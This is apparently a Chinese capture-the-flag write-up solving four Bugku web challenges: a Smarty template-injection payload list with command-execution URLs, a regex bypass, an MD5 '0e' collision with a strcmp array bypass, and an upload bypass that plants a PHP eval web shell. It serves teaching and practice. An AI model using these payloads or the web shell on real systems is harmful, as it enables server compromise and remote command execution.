题目源:bugku web

聪明的PHP

得题

head
head
检测是不是模板漏洞
检测
从执行情况可以看出是模板漏洞。

常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
smarty中的{if}标签中可以执行php语句

引入上面的知识,构造本题的Payload

passthru — 执行外部程序并且显示原始输出
passthru(string $command, int &$result_code = null): ?false

command
要执行的命令。
result_code
如果提供 result_code 参数, Unix 命令的返回状态会被记录到此参数。

实践:
http://114.67.175.224:15841/?a={if%20passthru(%22ls -al%22)}{/if}

total 8
drwxrwxrwx 1 root root 120 Mar 2 2021 .
drwxr-xr-x 1 root root 18 Oct 8 2019 ..
drwxrwxrwx 1 root root 6 Mar 2 2021 cache
drwxrwxrwx 1 root root 6 Mar 2 2021 configs
-rwxrwxrwx 1 root root 629 Mar 2 2021 index.php
drwxrwxrwx 1 root root 128 Mar 2 2021 libs
-rwxrwxrwx 1 root root 22 Mar 2 2021 template.html
drwxrwxrwx 1 root root 23 Mar 2 2021 templates
drwxrwxrwx 1 root root 6 Mar 2 2021 templates_c
---------------------------

http://114.67.175.224:15841/?a={if%20passthru(%22ls /%22)}{/if}

_15775 bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var php

-------------------------------
找到_15775,查看下文件内容
http://114.67.175.224:15841/?a={if%20passthru(%22tac /_15775%22)}{/if}

flag{3c6611714341762ef90c8b99323d4786}

flag

解题

PHP的smarty模板漏洞
引用

字符?正则?

解题

题目提供了PHP代码:

 <?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

// 大致意思就是提交字符串,必须符合前面的正则表达式规则。

// 核心就一句正则
key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]],
写一个与之匹配的正则表达式
keykeyeeeekey:/a/akeya_

提交上去
http://114.67.175.224:11701/index.php?id=keykeyeeeekey:/a/akeya_
得到flag
key is: flag{fdadd36b1a5b5c952a63c8ffa2c3acaa}

总结

基础正则表达式

前女友

解题

head
head
head

得到PHP代码,其他文字信息省略了。

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

?v1=s878926199a&v2=s155964671a&v3[]=1
得到flag

flag{a26aaff94aa33cfc4b5473ba2345b18b}

flag
flag

总结

md5的0e开头的md5值默认哈希值为0,两md5值相等
strcmp数组绕过

文件上传

解题

head
head

得到题目的思考方向是文件上传木马,菜刀一线连。

使用一句话木马,放在一个名为x.jpg的文件当中。
<?php @eval($_POST['hack']);?>

body
这两处修改是关键,有两个途径可以得出来:
1.文件后台的源代码
2.一点点的在抓包区域尝试

不过尝试的结果是:文件上传的地址是没有任意文件解析的,比如上传个后缀是jpg的后门,实际上仅仅作为jpg文件展示,不会解析其中包含的后门程序。
必然的结果就是必须改为php4,而且那处Content-Type也必须修改
body
body
打开文件后得到flag

flag{958a6689c83c55f910022bdc8cc2e49c}

flag

总结

后门文件上传,文件上传绕过。